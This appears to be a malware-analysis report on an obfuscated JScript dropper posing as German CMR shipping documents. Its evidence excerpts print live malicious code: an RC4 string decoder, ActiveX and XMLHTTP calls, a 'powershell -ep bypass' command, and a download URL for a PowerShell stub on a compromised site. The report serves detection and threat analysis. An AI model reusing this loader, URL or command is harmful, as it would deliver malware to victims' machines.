Hostile ^92% Download

AES_ExportBegleitDokument_21bf6a8f-71c8 CMR Versandpapiere Galeri TR TP 52646.js

Obfuscated PowerShell downloader

Obfuscated ActiveX JS uses PS ep bypassActiveXObject constructor reference

SHA-256e44869eb433cab78c1c26f9200b172fc198707b4f593129db4f5f911e5ef7573

URLhttps://mb-api.abuse.ch/api/v1/

MaleculeO₄(ErAs₃CXe)H₆(Cm₃Cr₂Db₈FOsPo₇)Md

Evidence

Hex-prefixed function names (_0x pattern) lines 1–7

1function _0x2a17(_0x2f2bf7, _0x4a335e) {
  var _0x5c1a8c = _0x52e8, _0x5d9525 = _0x52e8, _0x50895d = {
          'gIPnj': function (_0x3e9432, _0x5bccfd) {
              return _0x3e9432 - _0x5bccfd;
          },
          'OEQUv': function (_0x2a59f9) {
…

Dense computed-property call cluster (3+) lines 34–42

41… 315 < 0x100; _0x379315++) {
              _0x4b74fa[_0x379315] = _0x379315;
          }
          for (_0x379315 = 0x0; _0x379315 < 0x100; _0x379315++) {
              _0x182ef9 = (_0x182ef9 + _0x4b74fa[_0x379315] + _0x3fbb25['charCodeAt'](_0x379315 % _0x3fbb25['length'])) % 0x100, _0x1225a0 = _0x4b74fa[_0x379315], _0x4b74fa[_0x379315] = _0x4b74fa[_0x182ef9], _0x4b74fa[_0x182ef9] = _0x1225a0;
          }
          _0x379315 = 0x0, _0x182ef9 = 0x0;
          for (var _0x1ca384 = 0x0; _0x1ca384 < _0xc664c8['length']; _0x1ca384++) {
              _0x379315 = (_0x379315 + 0x1) % 0x100, _0x182ef9 = (_0x182ef9 + _0x4b74fa[_0x379315]) % 0x100, _0x1225a0 = _0x4b74fa[_0x379315], _0x4b74fa[_0x379315] = _0x4 …

RC4 PRGA keystream output index lines 42–51

197… 4fa[_0x182ef9] = _0x1225a0, _0x25680b += String['fromCharCode'](_0xc664c8['charCodeAt'](_0x1ca384) ^ _0x4b74fa[(_0x4b74fa[_0x379315] + _0x4b74fa[_0x182ef9]) % 0x100]);
          }
          return _0x25680b;
      };
      _0x52e8['reiWUi'] = _0x58d435, _0x52e8['HNdkWP'] = {}, _0x52e8['JMWxnH'] = !![];
  }
  var _0x2c4154 = _0x52e8ef[0x0];
  _0x52e8['EBDhij'] !== _0x2c4154 && (_0x52e8['HNdkWP'] = {}, _0x52e8['EBDhij'] = _0x2c4154);
  var _0x1ce724 = _0x52e8['HNdkWP'][_0x37ceec];
  return _0x1ce724 === undefined ? (_0x52e8['wPHENx'] === undefined &&  …

References an XMLHTTP COM client lines 166–173

27… {
      return _0x5671c8;
  };
  return _0x340b();
170}
171function _0x5caa() {
  var _0x4dc271 = _0x52e8, _0x39356e = _0x52e8, _0x3b679e = _0x52e8, _0x3f4f2a = _0x52e8, _0x21c850 = _0x52e8, _0x389052 = _0x52e8, _0x4b1e5b = _0x52e8, _0x5aa4d0 = _0x52e8, _0x109a75 = {};
  _0x109a75[_0x4dc271(0x132, '[[h(')] = _0x4dc271(0x164, '8pEU'), _0x109a75['GWwGW'] = _0x39356e(0x134, '3LrL'), _0x109a75[_0x3b679e(0x12c, 'R^0P')] = _0x4dc271(0x123, '(4N3'), _0x109a75['koemu'] = _0x21c850(0x144, 'uo0p'), _0x109a75['rfsxR'] = _0x39356e(0x10e, 'j3qM'), _0x109a75[_0x39356e(0x152, 'gD(Q')] = 'MSXML2.XMLHTTP', _0x109a75['ffwCd'] = _0x4dc271(0x110, 'CXzX'), _0x109a75['FTnwt'] = 'responseText', _0x109a75[_0x4b1e5b(0x12a, 'j$A6')] = _0x4b1e5b(0x15a, 'AslB'), _0x109a75['bJAqI'] = _0x3f4f2a(0x107, 'v75Y'), _0x109a75[_0x389052(0x11a, 'R^0P')] = _0x4b1e5b(0x116, '%4f$'), _0x109a75[_0x21c850(0x15c, 'uo0p')] = _0x3f4f2a(0x130, '1%uy'), _0x109a75[_0x21c850(0x15e, 'L^Hs')] = 'powershell.exe\x20-nop\x20-ep\x20bypass\x20-file\x20\x22', _0x109a75[_0x3f4f2a(0x12e, '1%uy')] = _0x4dc271(0x147, 'awh]'), _0x109a75['AVexc'] = 'NFjLD', _0x109a75[_0x3b679e(0x129, 'avON')] = _0x3f4f2a(0x140, 'awh]'), _0x109a75[_0x3b679e(0x12d, 'xutq')] = _0x5aa4d0(0x114, 'j3qM'), _0x109a75[_0x4dc271(0xf …

URL ends in .cmd, .ps1 or .dll lines 339–349

14… ,
          'ExSvh': _0x34f1a8(0x11d),
          'wpfXc': _0x2103af[_0x4f03d5(0x14e, 'j3qM')](_0x34f1a8, 0x132),
          'Lnwof': _0x2103af['NVSBg'](_0x34f1a8, 0x129)
      }, _0x2a6fc1 = {};
  _0x2a6fc1[_0x2103af[_0x2ee433(0x15d, '3LrL')]] = 'https://reinigung-kosanke.de/wp-includes/theme-compat/qmxythi/baw1uqm/dvwqpnh/myCRYPTED_STUB.ps1', _0x2a6fc1[_0x2103af['TNvxa'](_0x1e4370, 0x13d)] = _0x25a0fc[_0x2103af['dcmYf'](_0x37ea93, 0x11b)], _0x2a6fc1[_0x2103af[_0x2ad2f6(0x154, 'AslB')](_0x306a71, 0x131)] = 0x2;
  var _0x4b0734 = _0x2a6fc1, _0x26741d = new ActiveXObject(_0x25a0fc[_0x34f1a8(0x137)]), _0x4e02ee = new ActiveXObject(_0x25a0fc[_0x2103af[_0x4f03d5(0x105, '8pEU')](_0x37ea93, 0x123)]), _0x16fdf9 = new ActiveXObject(_0x2103af[_0x4f03d5(0x157, 'Njr&')](_0x58dc2d, 0x122));
  function _0x414a7c(_0x215cfd) {
      var _0x1307b4 = _0x23dec6, _0x134806 = _0xadd4df, _0x471f56 = _0xadd4df;
      try {
          retur …